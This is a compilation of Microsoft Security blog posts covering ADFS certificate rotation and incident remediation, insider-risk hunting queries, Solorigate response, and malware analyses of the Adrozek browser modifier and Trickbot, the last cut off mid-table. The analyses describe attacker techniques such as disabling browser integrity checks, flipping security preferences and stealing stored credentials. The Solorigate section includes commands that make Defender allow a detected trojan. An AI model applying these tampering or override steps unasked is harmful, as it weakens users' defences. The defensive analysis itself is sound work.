Should your organization decide to rotate the certificate on your current ADFS servers, follow these steps in the below order, from the ADFS server:

  1. Check to make sure that your AutoCertificateRollover is set to True.
    Get-AdfsProperties | FL AutoCert*, Certificate*
    • If it is not, you can set it with this command:
      Set-ADFSProperties -AutoCertificateRollover $true
  2. Connect to the Microsoft Online Service
    Connect-MsolService
  3. Document both your on-premise and cloud Token Signing Certificate thumbprint and expiration dates.
    Get-MsolFederationProperty -DomainName <domain>
    
  4. Replace the primary Token Signing certificate using the -Urgent switch to cause ADFS to replace the primary certificate immediately without making it a Secondary certificate.
    Update-AdfsCertificate -CertificateType Token-Signing -Urgent
  5. Create a secondary Token Signing certificate without using the -Urgent switch to allow for two on-premise Token Signing certificates, before syncing with Azure cloud.
    Update-AdfsCertificate -CertificateType Token-Signing
    
  6. Update the cloud environment with both the primary and secondary certificates on-premise to immediately remove the cloud published token signing certificate. If this step is not completed using this method you leave the potential for the old token signing certificate to still authenticate users.
    Update-MsolFederatedDomain -DomainName <domain>
     
    
  7. Verification that you completed the above steps and removed the certificate that was displayed in Step 3 above.
    Get-MsolFederationProperty -DomainName <domain>
    
  8. Revoke refresh tokens via PowerShell, information can be found here and you can also reference how to “Revoke user access in Azure Active Directory.”
    • Note: This will log users out of their phone, current webmail sessions, along with other items that are using Tokens and Refresh Tokens.

Additional cloud remediation activities to complete

  • Reset passwords on any break-glass accounts and reduce the number of break-glass accounts to the absolute minimum required.
  • We recommend that service and user accounts with Privileged access should be Cloud Only accounts and not use on-premise accounts synced or federated to Azure Active Directory.
  • Enforce Multi-Factor Authentication (MFA) across all elevated users in the tenant. We recommend enforcing MFA across all users in the tenant.
  • Implement Privileged Identity Management (PIM) and conditional access to limit administrative access.
    • For Office 365 users, implement Privileged Access Management (PAM) to limit access to sensitive capabilities (including eDiscovery, Global Admin, Account Administration, and more).
  • Review and reduce all Enterprise Applications delegated permissions or consent grants that allow such as:
    • Modification of privileged users and roles.
    • Reading, sending email, or accessing all mailboxes.
    • Accessing OneDrive, Teams, or SharePoint content.
    • Adding of Service Principals that can read/write to the Directory.
    • Application Permissions versus Delegated Access.

Additional on-premises remediation activities to complete

  • Rebuild systems that were identified as compromised by the attacker during your investigation.
  • Remove unnecessary members from Domain Admins, Backup Operators, and Enterprise Admin groups. Reference Microsoft’s Securing Privileged Access.
  • Reset passwords of all privileged accounts in the environment.
    • Privilege accounts are not limited to Built-In groups but can also be groups that are delegated access to Server Administration / Workstation Administration and other aspects of your environment.
  • Reset the krbtgt account using this script twice.
    • Note: If you are using Read-Only Domain Controllers, you will need to run the script for Read-Write Domain Controllers and Read-Only Domain Controllers.
  • After you validate that no persistence mechanisms created by the attacker exist or remain on your system, schedule a restart. This can assist with removing memory resident malware.
  • Reset each domain controller’s DSRM (Directory Services Restore Mode) password to something unique and complex.

Remediate or block persistence discovered during investigation

Remediate the persistence techniques identified in your investigation stage earlier. Investigation is an iterative process and you’ll need to balance the organizational desire to remediate as you identify anomalies and the chance that remediation will alert the attacker of your detection and cause them to react by changing techniques or creating additional persistence. For Office 365 accounts, automatically remediate known persistence techniques, if any are discovered, using the scripts described

Remediate user and service account access

Some of the user-level actions we recommend were described above already, specifically in terms of ensuring that MFA is enabled and running specific remediation scripts to clean up known persistence techniques. Here are some additional steps you should consider taking to remediate and restore user accounts:

  • Enforce conditional access based on trusted device.
    • If possible, enforce location-based conditional access that suits your organizational requirements.
  • For any user accounts suspected of being compromised, immediately reset passwords after eviction; make sure you also implement a mid-term plan to reset credentials for all accounts in your directory.
  • After credential rotation, use PowerShell to revoke refresh tokens immediately. More information can be found here and additional resources can be found at Revoke user access in an emergency in Azure Active Directory | Microsoft Docs.

Improve security posture

After a security event is a good time for organizations to reflect on their security strategy and priorities. Incident Responders are often asked to provide recommendations after an event on what investments the organization should prioritize now that it’s been faced with new threats. In addition to the recommendations documented earlier, we recommend you consider these areas of focus for your post-incident review recommendations that are responsive to the post-exploitation techniques used by this attacker and the common security posture gaps that enable them.

General security posture

  • Review Microsoft Secure Score for security fundamentals recommendations customized for the Microsoft products and services you consume.
  • Ensure that your organization has EDR and SIEM solutions in place.
  • Review Microsoft’s Enterprise access model.

Identity

  1. Review Five steps to securing your identity infrastructure and prioritize steps as appropriate for your Identity architecture.
  2. Consider migrating to Azure AD Security Defaults for your authentication policy- details can be found here.
  3. Eliminate your organization’s use of legacy authentication, if systems or applications still require it- review the guidance here.
    • As announced last year, the Exchange Team is planning to disable Basic Authentication for the EAS, EWS, POP, IMAP, and RPS protocols in the second half of 2021. As a point of clarity, Security Defaults and Authentication Policies are separate but provide complementary features. We recommend that customers use Authentication Policies to turn off Basic Authentication for a subset of Exchange Online protocols or to gradually turn off Basic Authentication across a large organization. While more details will come in future announcements, as mentioned in April, we plan to begin disabling Basic Authentication in existing tenants with no recorded usage as early as October 2020. We will provide notifications via Message Center posts before we disable Basic Authentication for any tenant.
  4. In order to help protect your ADFS/Azure AD Connect systems, beyond the ADFS guidance located, we recommend that you consider the following actions:
    • Treat your ADFS infrastructure and AD Connect infrastructure as a Tier 0 asset.
    • Restrict local administrative access to the system, including the account that is used to run the ADFS service.
      • The least privilege necessary for the account running ADFS is the Log on as a Service User Right Assignment.
    • Restrict administrative access to limited users and from limited IP address ranges by leveraging Windows Firewall policies for Remote Desktop.
      • It is recommended to set up a Tier 0 jump box or equivalent system.
    • Block all inbound SMB access to the systems from anywhere in the environment. See this resource for further details.
      • Get the Windows Firewall logs to a SIEM for historical and proactive monitoring.
    • If you are using a Service Account and your environment supports it, migrate from a Service Account to a group Managed Service Account (gMSA). If you cannot move to a gMSA, rotate the password on the Service Account to a complex password.
    • Ensure Verbose logging is enabled on your ADFS systems by executing the following commands:
Set-AdfsProperties -AuditLevel verbose
Restart-Service -Name adfssrv
Auditpol.exe /set /subcategory:”Application Generated” /failure:enable /success:enable

Contributors: We thank the team at FireEye for their contributions and review.

The post Advice for incident responders on recovery from systemic identity compromises appeared first on Microsoft Security.

Collaborative innovation on display in Microsoft’s insider risk management strategy

December 17th, 2020 No comments

The disrupted work environment, in which enterprises were forced to find new ways to enable their workforce to work remotely, changed the landscape for operations as well as security. One of the top areas of concern is effectively managing insider risks, a complex undertaking even before the pandemic, and even more so in the new remote or hybrid work environment.

Because its scope goes beyond security, insider risk management necessitates diverse perspectives and thus inherently requires collaboration among key stakeholders in the organization. At Microsoft, our insider risk management strategy was built on insights from legal, privacy, and HR teams, as well as security experts and data scientists, who use AI and machine learning to sift through massive amounts of signals to identify possible insider risks.

It was also important for us to extend this collaboration beyond Microsoft. For example, for the past few years, Microsoft has partnered with Carnegie Mellon University to bring in their expertise and experience in insider risks and provide insights about the nature of the broader landscape.

Our partnership with Carnegie Mellon University has helped shape our mindset and influenced our Insider Risk Management product, a Microsoft 365 solution that enables organizations to leverage machine learning to detect, investigate, and act on malicious and unintentional activities. Partnering with organizations like Carnegie Mellon University allows us to bring their rich research and insights to our products and services, so customers can fully benefit from our breadth of signals.

This research partnership with Carnegie Mellon University experiments with innovative ways to identify indicators of insider risk. The output of these experiments become inputs to our research-informed product roadmap. For example, our data scientists and researchers have been looking into using threat data from Microsoft 365 Defender to gain insights that can be used for managing insider risks. Today, we’d like to share our progress on this research in the form of Microsoft 365 Defender advanced hunting queries, now available in a GitHub repo:

  1. Detection Exfiltration to Competitor Organization: This query helps enterprises detect instances of a malicious insider creating a file archive and then emailing that archive to an external “competitor” organization. Effective query use requires prior knowledge of email addresses that may pose a risk to the organization if data is sent to those addresses.
  2. Detecting exfiltration after termination: This query explores instances in which a terminated individual (i.e., one who has an impending termination date, but has not left the company) downloads many files from a non-domain network address.
  3. Detecting steganography exfiltration: This query detects instances of malicious users who attempt to create steganographic images and then immediately browse to a webmail URL. It requires additional investigation to determine indication of a malicious event through the co-occurrence of a) generating a steganographic image; and b) browsing to a webmail URL

As these queries demonstrate, industry partnerships allow us to enrich our own intelligence with other organizations’ depth of knowledge, helping us address some of the bigger challenges of insider risks through the product, while bringing scientifically proven solutions to our customers more quickly through this open-source library.

Microsoft will continue investing in partnerships like Carnegie Mellon University to learn from experts and deliver best-in-class intelligence to our customers. Follow our insider risk podcast and join us in our Insider Risk Management journey!

The post Collaborative innovation on display in Microsoft’s insider risk management strategy appeared first on Microsoft Security.

Ensuring customers are protected from Solorigate

December 15th, 2020 No comments

Microsoft is monitoring a dynamic threat environment surrounding the discovery of a sophisticated attack that included compromised binaries from a legitimate software. These binaries, which are related to the SolarWinds Orion Platform, could be used by attackers to remotely access devices. On Sunday, December 13, Microsoft released detections that alerted customers to the presence of these malicious binaries, with the recommendation to isolate and investigate the devices.

It is important to understand that these binaries represent a significant threat to customer environments. Customers should consider any device with the binary as compromised and should already be investigating devices with this alert. Starting on Wednesday, December 16 at 8:00 AM PST, Microsoft Defender Antivirus will begin blocking the known malicious SolarWinds binaries. This will quarantine the binary even if the process is running. We also realize this is a server product running in customer environments, so it may not be simple to remove the product from service. Nevertheless, Microsoft continues to recommend that customers isolate and investigate these devices:

  1. Immediately isolate the affected device. If malicious code has been launched, it is likely that the device is under complete attacker control.
  2. Identify the accounts that have been used on the affected device and consider these accounts compromised. Reset passwords or decommission the accounts.
  3. Investigate how the affected endpoint might have been compromised.
  4. Investigate the device timeline for indications of lateral movement activities using one of the compromised accounts. Check for additional tools that attackers might have dropped to enable credential access, lateral movement, and other attack activities.

If service interruption is not possible, customers must take the action below to exclude SolarWinds binaries. This should be a temporary change that you should revert as soon as you update binaries from the provider or complete your investigation.

 

For Microsoft Defender Antivirus via GPO Instructions:

PATH: Computer Configuration > Administrative Templates > Windows Components > Microsoft Defender Antivirus (or Windows Defender Antivirus) > Threats > Specify threat alert levels at which default action should not be taken when detected.

Value name: 2147771206

Value: 6

 

For SCEP via GPO instructions:

PATH: Computer Configuration > Administrative Templates > Windows Components > Endpoint Protection > Threats > Specify threat alert levels at which default action should not be taken when detected.

Value name: 2147771206

Value: 6

Note: If you don’t see the “Endpoint Protection” section, see: Manage Endpoint Protection using Group Policies – Configuration Manager | Microsoft Docs

 

For Microsoft Defender Antivirus and SCEP via SCCM Instructions:

PATH: Assets and Compliance, Endpoint Protection > Antimalware Policies > Threat overrides > Enter Threat name: Trojan:MSIL/Solorigate.BR!dha

PATH: Assets and Compliance, Endpoint Protection > Antimalware Policies > <Select relevant policy> > Threat overrides > Enter Threat name: Trojan:MSIL/Solorigate.BR!dha

Override action: Allow

 

For MDAV via MEM using PowerShell Instructions:

  1.  Create a PowerShell script with the following content:

Set-MpPreference -ThreatIDDefaultAction_Ids 2147771206 -ThreatIDDefaultAction_Actions 6

  1. Name the script as follows: Allow_SolarWinds.ps1
  2. Save it to a temporary location, such as C:\Temp.
  3. Go to https://endpoint.microsoft.com and sign in.
  4. Browse to Devices > Windows > PowerShell scripts.
  5. Select +Add, and then specify the following settings:

Name: Allow SolarWinds temporarily

Description: Allow SolarWinds temporarily while patching

  1. Select Next, and then browse to where you saved the PowerShell script (for example, C:\Temp\Allow_SolarWinds.ps1).
  2. Run the script using the following settings:

Run this script using the logged on credentials: No

Enforce script signature check: No

Run script in 64-bit PowerShell Host: Yes

  1. Select Next.
  2. For Scope tag, use <default>.
  3. Select Next.
  4. For assignment, choose Select groups to include, and then select the security group that has your Windows 10 devices.
  5. Choose Select, and then choose Next.
  6. Review your settings, and then select Add.

Note: For MEM (Intune) PowerShell script troubleshooting, review: C:\ProgramData\Microsoft Intune Management Extension\Logs\IntuneManagementExtension.log

 

For manual Microsoft Defender Antivirus via PowerShell Instructions:

Launch PowerShell as Admin

Set-MpPreference -ThreatIDDefaultAction_Ids 2147771206 -ThreatIDDefaultAction_Actions 6

 

For manual SCEP via PowerShell Instructions:

Launch PowerShell as Admin

Import-Module “$env:ProgramFiles\Microsoft Security Client\MpProvider\MpProvider.psd1”

Set-MProtPreference -ThreatIDDefaultAction_Ids 2147771206 -ThreatIDDefaultAction_Actions 6

 

Note for Microsoft Defender Antivirus in passive mode:

  • If EDR in block mode is enabled and Microsoft Defender AV is in passive mode with third-party antivirus product, Microsoft Defender Antivirus will take action if not excluded per instructions provided
  • If EDR in block mode is not enabled and Microsoft Defender Antivirus is in passive mode with third-party antivirus product, Microsoft Defender Antivirus will alert but no remediation action will take place.

 

Microsoft has been communicating with SolarWinds regarding this incident. SolarWinds has released updates to help customers mitigate this issue and has provided further customer recommendations and updated binaries for their product. More information is available at https://www.solarwinds.com/securityadvisory.

For more information and guidance from Microsoft, read:

 

The post Ensuring customers are protected from Solorigate appeared first on Microsoft Security.

Widespread malware campaign seeks to silently inject ads into search results, affects multiple browsers

December 10th, 2020 No comments

A persistent malware campaign has been actively distributing an evolved browser modifier malware at scale since at least May 2020. At its peak in August, the threat was observed on over 30,000 devices every day. The malware is designed to inject ads into search engine results pages. The threat affects multiple browsers—Microsoft Edge, Google Chrome, Yandex Browser, and Mozilla Firefox—exposing the attackers’ intent to reach as many Internet users as possible.

We call this family of browser modifiers Adrozek. If not detected and blocked, Adrozek adds browser extensions, modifies a specific DLL per target browser, and changes browser settings to insert additional, unauthorized ads into web pages, often on top of legitimate ads from search engines. The intended effect is for users, searching for certain keywords, to inadvertently click on these malware-inserted ads, which lead to affiliated pages. The attackers earn through affiliate advertising programs, which pay by amount of traffic referred to sponsored affiliated pages.

Screenshot of search results page on an affected machine and one affected by Adrozed

Figure 1. Comparison of search results pages on an affected machine and one with Adrozek running.

Cybercriminals abusing affiliate programs is not new—browser modifiers are some of the oldest types of threats. However, the fact that this campaign utilizes a piece of malware that affects multiple browsers is an indication of how this threat type continues to be increasingly sophisticated. In addition, the malware maintains persistence and exfiltrates website credentials, exposing affected devices to additional risks.

Such a sustained, far-reaching campaign requires an expansive, dynamic attacker infrastructure. We tracked 159 unique domains, each hosting an average of 17,300 unique URLs, which in turn host more than 15,300 unique, polymorphic malware samples on average. In total, from May to September 2020, we recorded hundreds of thousands of encounters of the Adrozek malware across the globe, with heavy concentration in Europe and in South Asia and Southeast Asia. As this campaign is ongoing, this infrastructure is bound to expand even further.

World map showing volume of devices that have encountered Adrozek

Figure 2. Geographic distribution of Adrozek encounters from May to September 2020.

Effectively protecting against rampant, persistent campaigns like this that incorporate multiple components, polymorphism, and evolved malware behavior requires advanced, behavior-based detection and visibility across the whole attack chain rather than specific components. In this blog, we’ll share our in-depth analysis of this campaign, including the distribution architecture and malware behavior, and provide recommended defenses.

Distribution infrastructure

The Adrozek malware is installed on devices through drive-by download. In our tracking of the Adrozek campaign from May to September 2020, we saw 159 unique domains used to distribute hundreds of thousands of unique malware samples. Attackers relied heavily on polymorphism, which allows attackers to churn huge volumes of samples as well as to evade detection.

While many of the domains hosted tens of thousands of URLs, a few had more than 100,000 unique URLs, with one hosting almost 250,000. This massive infrastructure reflects how determined the attackers are to keep this campaign operational.

Column chart showing number of URLs used in the Adrozek campaign

Figure 3. Number of URLs and number of files hosted on Adrozek domains with at least 100 files.

The distribution infrastructure is also very dynamic. Some of the domains were up for just one day, while others were active for longer, up to 120 days. Interestingly, we saw some of the domains distributing clean files like Process Explorer, likely an attempt by the attackers to improve the reputation of their domains and URLs, and evade network-based protections.

Installation

Attackers use this sprawling infrastructure to distribute hundreds of thousands of unique Adrozek installer samples. Each of these files is heavily obfuscated and uses a unique file name that follows this format: setup_<application name>_<numbers>.exe.

Diagram showing the Adrozek attack chain

Figure 4. Adrozek attack chain

When run, the installer drops an .exe file with a random file name in the %temp% folder. This file in drops the main payload in the Program Files folder using a file name that makes it look like a legitimate audio-related software. We have observed the malware use various names like Audiolava.exe, QuickAudio.exe, and converter.exe. The malware is installed like a usual program that can be accessed through Settings>Apps & features, and registered as a service with the same name.

Screenshot of Apps and features settings showing the installed malware

Figure 5. Adrozek installed as a program that can be accessed through the Apps & features setting

Modifying browser components

Once installed, Adrozek makes multiple changes to the browser settings and components. These changes allow the malware to inject ads into search engine result pages.

Extensions

The malware makes changes to certain browser extensions. On Google Chrome, the malware typically modifies “Chrome Media Router”, one of the browser’s default extensions, but we have seen it use different extensions.

Each extension on Chromium-based browsers has a unique 32-character ID that users can use to locate the extension on machines or on the Chrome Web store. On Microsoft Edge and Yandex Browser, it uses IDs of legitimate extensions, such as “Radioplayer” to masquerade as legitimate. As it is rare for most of these extensions to be already installed on devices, it creates a new folder with this extension ID and stores malicious components in this folder. On Firefox, it appends a folder with a Globally Unique Identifier (GUID) to the browser extension. In summary, the paths and extension IDs used by the malware for each browser are below:

 

Browser Extension paths examples
Microsoft Edge %localappdata%\Microsoft\Edge\User Data\Default\Extensions\fcppdfelojakeahklfgkjegnpbgndoch
Google Chrome %localappdata%\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm (might vary)
Mozilla Firefox %appdata%\Roaming\Mozilla\Firefox\Profiles\<profile>\Extensions\{14553439-2741-4e9d-b474-784f336f58c9}
Yandex Browser %localappdata%\Yandex\YandexBrowser\User Data\Default\Extensions\fcppdfelojakeahklfgkjegnpbgndoch

 

Despite targeting different extensions on each browser, the malware adds the same malicious scripts to these extensions. In some cases, the malware modifies the default extension by adding seven JavaScript files and one manifest.json file to the target extension’s file path. In other cases, it creates a new folder with the same malicious components.

Screenshot of File Explorer showing added JavaScript and JSON files

Figure 6. JavaScript and JSON files added to the target extension’s file path

These malicious scripts connect to the attacker’s server to fetch additional scripts, which are responsible for injecting advertisements into search results. The domain name of the remote server is specified in the extension’s scripts. The malware also sends information about the device to the said remote server.

Screenshot of additional downloaded script

Figure 7. Additional downloaded script

Browser DLLs

The malware also tampers with certain browser DLLs. For instance, on Microsoft Edge, it modifies MsEdge.dll to turn off security controls that are crucial for detecting any changes in the Secure Preferences file.

Screenshot of code comparing original and tampered with code

Figure 8. Comparison of original and tampered with MsEdge.dll.

This technique impacts not only Microsoft Edge but other Chromium-based browsers. These browsers store user settings and preferences, such as home page and default search engine, in the Preferences file. For each of the four target browsers, it modifies the relevant DLL:

 

Browser Modified files
Microsoft Edge %PROGRAMFILES%\Microsoft\Edge\Application\<version>\msedge.dll
%localappdata%\Microsoft\Edge\User Data\Default\Secure Preferences
%localappdata%\Microsoft\Edge\User Data\Default\Preferences
Google Chrome %PROGRAMFILES%\Google\Chrome\Application\<version>\chrome.dll
%localappdata%\Google\Chrome\User Data\Default\Secure Preferences
%localappdata%\Google\Chrome\User Data\Default\Preferences
Yandex Browser %PROGRAMFILES%\Yandex\YandexBrowser\<version>\browser.dll
%localappdata%\Yandex\YandexBrowser\User Data\Default\Secure Preferences
%localappdata%\Yandex\YandexBrowser\User Data\Default\Preferences
Firefox %PROGRAMFILES%\Mozilla Firefox\omni.ja
%appdata%\Mozilla\Firefox\Profiles\<profile>\extensions.json
%appdata%\Mozilla\Firefox\Profiles\<profile>\prefs.js

Browser security settings

Browsers have security settings that defend against malware tampering. The Preferences file, for example, contains sensitive data and security settings. Chromium-based browsers detects any unauthorized modifications to these settings through signatures and validation on several preferences. These preferences, as well as configuration parameters, are stored in JSON file name Secure Preferences.

The Secure Preferences file is similar in structure to the Preferences file except that the former adds hash-based message authentication code (HMAC) for every entry in the file. This file also contains a key named super_mac that verifies the integrity of all HMACs. When the browser starts, it validates the HMAC values and the super_mac key by calculating and comparing with the HMAC SHA-256 of some of the JSON nodes. If it finds values that don’t match, the browser resets the relevant preference to its default value.

In the past, browser modifiers calculated the hashes like browsers do and update the Secure Preferences accordingly. Adrozek goes one step further and patches the function that launches the integrity check. The two-byte patch nullifies the integrity check, which makes the browser potentially more vulnerable to hijacking or tampering.

Two byte patch

Figure 9. Two-byte patch to the function in Secure Preferences file that launches the integrity check

With the integrity check disabled, Adrozek proceeds to modify security settings. On Google Chrome or Microsoft Edge, the malware modifies the following entries in the Secure Preferences file to add permissions that enable the malicious extensions to have more control over Chrome APIs:

 

Entry in Secure Preferences file Value Result
browser_action_visible false Plugin not visible in the browser toolbar
extension_can_script_all_urls true Allows the extension to script on all URLs without explicit permission
incognito true The extension can run in the incognito mode
safebrowsing false Turns off safe browsing

 

The screenshot below shows the permissions added to the Secure Preferences file:

Screenshot of the secure preferences file showing the added permissions

Figure 10. Permissions added to the Secure Preferences file

On Mozilla Firefox, Adrozek modifies the following security settings:

 

Modified file name Content Purpose
prefs.js user_pref(“app.update.auto”, false); 
user_pref(“app.update.enabled”, false); 
user_pref(“app.update.service.enabled”, false)
Turn off updates
extensions.json (appends details about the malicious extension) Register the extension to the browser
Omni.ja (XPIDatabase.jsm module) isNewInstall = false Load the extension

Browser updates

To prevent the browsers from being updated with the latest versions, which could restore modified settings and components, Adrozek adds a policy to turn off updates.

Screenshot of the policy that's added that turns off updates

Figure 11. Policy added to turn off updates

Persistence

In addition to modifying browser setting and components, Adrozek also changes several systems settings to have even more control of the compromised device. It stores its configuration parameters at the registry key HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\<programName>. The ‘tag’ and ‘did’ entries contain the command-line arguments that it uses to launch the main payload. More recent variants of Adrozek use random characters instead of ‘tag’ or ‘did’.

Screenshot of registry entries added by the malware

Figure 12. Registry entries with command-line arguments that launch the main payload

To maintain persistence, the malware creates a service named “Main Service”.

Screenshot the service added by the malware

Figure 13. Service created to maintain persistence

Ad injection

After tampering with multiple browser components and settings, the malware gains the capability to inject ads on search results on affected browsers. The injection of ads is performed by malicious scripts downloaded from remote servers.

Depending on the search keyword, scripts add related ads at the top of legitimate ads and search results. The number of ads inserted and the sites they point to vary. And while we have not seen these ads point to malware-hosting and other malicious sites, the attackers can presumably make that change anytime. The Adrozek attackers, however, operate the way other browser modifiers do, which is to earn through affiliate ad programs, which pay for referral traffic to certain websites.

Screenshot of search results page on an affected machine and one affected by Adrozed

Figure 14. Comparison of search results pages on an affected machine and one with Adrozek running

Credential theft

On Mozilla Firefox, Adrozek takes things further. It makes the most of its foothold by performing credential theft. It downloads an additional randomly named .exe file, which collects device information and the currently active username. It sends this information to the attacker.

Screenshot of additional executable file created by the malware

Figure 15. Additional executable file written to the %temp% folder

It then starts locating specific files, including login.json. On Mozilla Firefox, the said file, which is located at %appdata%\Roaming\Mozilla\Firefox \Profiles\<profile>\logins.json, stores user credentials in encrypted form and the browsing history.

Screenshot of JSON file

Figure 16. JSON file containing stolen credentials

The malware looks for specific keywords like encryptedUsername and encryptedPassword to locate encrypted data. It then decrypts the data using the function PK11SDR_Decrypt() within the Firefox library and sends it to attackers.

With this additional function, Adrozek sets itself apart from other browser modifiers and demonstrates that there’s no such thing as low-priority or non-urgent threats. Preventing the full range of threat from gaining access in the first place is of utmost importance.

Defending against sophisticated browser modifiers

Adrozek shows that even threats that are not thought of as urgent or critical are increasingly becoming more complex. And while the malware’s main goal is to inject ads and refer traffic to certain websites, the attack chain involves sophisticated behavior that allow attackers to gain a strong foothold on a device. The addition of credential theft behavior shows that attackers can expand their objectives to take advantage of the access they’re able to gain.

These complex behaviors, and the fact that the campaign uses polymorphic malware, require protections that focus on identifying and detecting malicious behavior. Microsoft Defender Antivirus, the built-in endpoint protection solution on Windows 10, uses behavior-based, machine learning-powered detections to block Adrozek.

End users who find this threat on their devices are advised to re-install their browsers. Considering the massive infrastructure that was used to distribute this threat on the web, users should also educate themselves about preventing malware infections and the risks of downloading and installing software from untrusted sources and clicking ads or links on suspicious websites. Users should also take advantage of URL filtering solutions, such as Microsoft Defender SmartScreen on Microsoft Edge. Configuring security software to automatically download and install updates, as well as running the latest versions of the operating system and applications and deploying the latest security updates help harden endpoints from threats.

For enterprises, defenders should look to reduce the attack surface for these types of threats. Application control allows organizations to enforce the use of only authorized apps and services. Enterprise-grade browsers like Microsoft Edge provide additional security features like conditional access and Application Guard that defend against threats on the browser.

It’s also important for enterprises to gain deep visibility into malicious behaviors on endpoints and the capability to correlate with threat data from other domains like cloud apps, email and data, and identities. Microsoft 365 Defender delivers coordinated protection across domains and provides rich investigation tools that empower defenders to respond to attacks. Learn how your organization can stop attacks through automated, cross-domain security and built-in AI with Microsoft Defender 365.

 

Microsoft 365 Defender Research Team

 

The post Widespread malware campaign seeks to silently inject ads into search results, affects multiple browsers appeared first on Microsoft Security.

Trickbot disrupted

October 12th, 2020 No comments

As announced today, Microsoft took action against the Trickbot botnet, disrupting one of the world’s most persistent malware operations. Microsoft worked with telecommunications providers around the world to take down key Trickbot infrastructure. As a result, operators will no longer be able to use this infrastructure to distribute the Trickbot malware or activate deployed payloads like ransomware.

Microsoft actively tracks the threat landscape, monitoring threat actors, their campaigns, specific tactics, and evolution of malware. We share this intelligence with the community and use our research to continuously improve our products. Below, we will detail the evolution of the Trickbot malware, associated tactics, recent campaigns, and dive into the anatomy of a particular attack we observed.

Trickbot was first spotted in 2016 as a banking trojan that was created as a successor to Dyre and designed to steal banking credentials. Over the years, Trickbot’s operators were able to build a massive botnet, and the malware evolved into a modular malware available for malware-as-a-service. The Trickbot infrastructure was made available to cybercriminals who used the botnet as an entry point for human-operated campaigns, including attacks that steal credentials, exfiltrate data, and deploy additional payloads, most notably Ryuk ransomware, in target networks.

Trickbot was typically delivered via email campaigns that used current events or financial lures to entice users to open malicious file attachments or click links to websites hosting the malicious files. Trickbot campaigns usually used Excel or Word documents with malicious macro codes, but other types of attachments have been used. The campaigns were observed in a wide range of verticals and geolocation, with operators frequently reusing previously compromised email accounts from earlier campaigns to distribute emails without narrowing targets.

In addition to phishing emails, Trickbot was also deployed through lateral movement via Server Message Block (SMB) or as a second-stage payload of other malware like Emotet. Once Trickbot was launched, operators utilized it to install reconnaissance tools like PowerShell Empire, Metasploit, and Cobalt Strike. They used these tools to steal credentials and network configuration information, move laterally to high-value assets, or deliver additional malicious payloads.

Threat data from Microsoft 365 Defender, which correlates signals from endpoints, email and data, identities, and cloud apps to deliver comprehensive protection against threats, shows that Trickbot showed up in both large and small enterprises across the globe, helped no doubt by its modular nature and widespread misconception of it being a “commodity” banking trojan.

Anatomy of a Trickbot campaign

Trickbot is one of the most prolific malware operations in the world, churning out multiple campaigns in any given period. In one specific campaign, the Trickbot operators used several disparate compromised email accounts to send out hundreds of malicious emails to both enterprise and consumer accounts. Recipients were from a variety of industry verticals and geolocations and do not appear to have been specifically targeted. This campaign used a shipping and logistics theme, and had the following subject lines:

  • Shipment receipt
  • Delivery finished
  • Urgent receipt comment
  • Essential receipt reminder
  • Required declaration

The emails contained a malicious Excel attachment that, when opened, prompted the user to enable macros. If enabled, the macro wrote a malicious JScript Encoded (JSE) file to the disk, which is then executed via WScript. The JSE script connected to the affected organization’s domain controller and performed several LDAP queries to gather information about Active Directory, including the schema and user lists. The script then exfiltrated the information to attacker-controlled infrastructure. The script used the jscript.encode command to encode both server-side and client-side files in order to obfuscate content and evade detection.

Next, the JSE file performed several reconnaissance queries to obtain information about the device’s network adapter, antivirus products, domain role, and email. Once the exfiltration was completed, a dropped .bat file established a connection with two separate C2 servers: an IP address and a domain hosted on a separate IP address. Trickbot used both these C2 servers to evade network filtering configurations. The .bat file performed reconnaissance commands to find domain administrators on the network. It then dropped and launched the Greenshot screenshot tool and Cobalt Strike beacon on the device.

At this point, the operators had gained control of the affected device, only 8.5 hours after the user opened the malicious email attachment. The operators then started to copy the freeware tool ADFind.exe, which they used for discovery as well as for gathering domain configuration and organization information. They then archived data found during this discovery to a .7z file for later exfiltration.

The attackers ran several commands to obtain information about the domain controller and gather Kerberos tickets, conducted port scanning on SMB port 445, NetBIOS 139, and queried LDAP for multiple server devices. Using the information gathered, attackers pinged several potentially high-value devices. From there, they viewed the contents of specific text and log files, likely gleaned from their reconnaissance. Upon finding a device with an open port 445, they used runas /netonly (logon type 9, which is intentionally used to confuse analysis of logon events) for authentication and interactively executed commands on the device.

Once authenticated, the attackers viewed existing RDP files from prior unrelated sessions for RDP settings and credentials. From there, they dropped a Trickbot executable and stole credentials from the Windows Vault and Credentials Manager, allowing the attackers to evade many well-known security mechanisms that monitor processes accessing Local Security Authority Subsystem Service (LSASS) memory to dump the credentials. They used a .bat file to view multiple shares, ping additional servers, and read several text files. Finally, the attackers exfiltrated all gathered data.

The attackers persisted in the network via a copy of the malicious .jse file in the Startup folder. Using this .jse file, they have the capability to return to this network later and attempt to log on to other, more valuable devices and steal additional information or drop additional payloads. This highlights the importance of comprehensive response to “commodity malware” like Trickbot: the original banking trojan infection may be triaged and remediated, but without a full understanding of Trickbot as an entry vector to human adversaries, the real threat remains in the network.

Modular, multi-stage malware

Trickbot is a multi-stage malware typically composed of a wrapper, a loader, and a main malware module. The wrapper, which uses multiple templates that constantly change, is designed to evade detection by producing unique samples, even if the main malware code remains the same.

When the wrapper process runs, it runs the loader fully in its memory. The loader has a highly modular design. It decrypts each function at runtime before running it, and then encrypts it back. Likewise, all human-readable strings are decrypted and all APIs are resolved at runtime. In some scenarios, Trickbot uses UAC bypasses to elevate the privileges of its processes. On 64-bit systems, Trickbot uses the “Heaven’s Gate” technique to switch 32-bit code to 64-bit, and has an additional stage where a 64-bit loader injects the main module into the suspended process.

The loader runs the main malware module directly in memory. After creating scheduled tasks for persistence, the main malware module decrypts a configuration file, which contains the information it needs for its next steps:

  • Establish HTTPS communication with command and control (C2) server
  • Download modules from the C2 server
  • Monitor the status of the downloaded modules
  • Synchronize communication between the main module and the downloaded modules

The modules are likewise run in memory via injection into the suspended process. Over the years, Trickbot has used a wide range of modules for various malicious activities. These include the following:

 

Modules Purpose
pwgrab Gathers credentials, autofill data, history and so on from browsers
networkDll Gathers network and system information
importDll Gathers browser data
injectDll Main banker module; uses static and dynamic web browser injection and data theft
tabDll Propagates Trickbot via EternalRomance Exploit
Propagates Trickbot via SMB EternalBlue Exploit
shareDll Propagates Trickbot via Windows network shares
vncDll, BCTestDll Remote control/Virtual Network Computing module; provides backdoor for further module downloads
rdpscanDll Launches brute force attacks against selected Windows systems running Remote Desktop Protocol (RDP) connection exposed to the Internet
Systeminfo Gathers system information
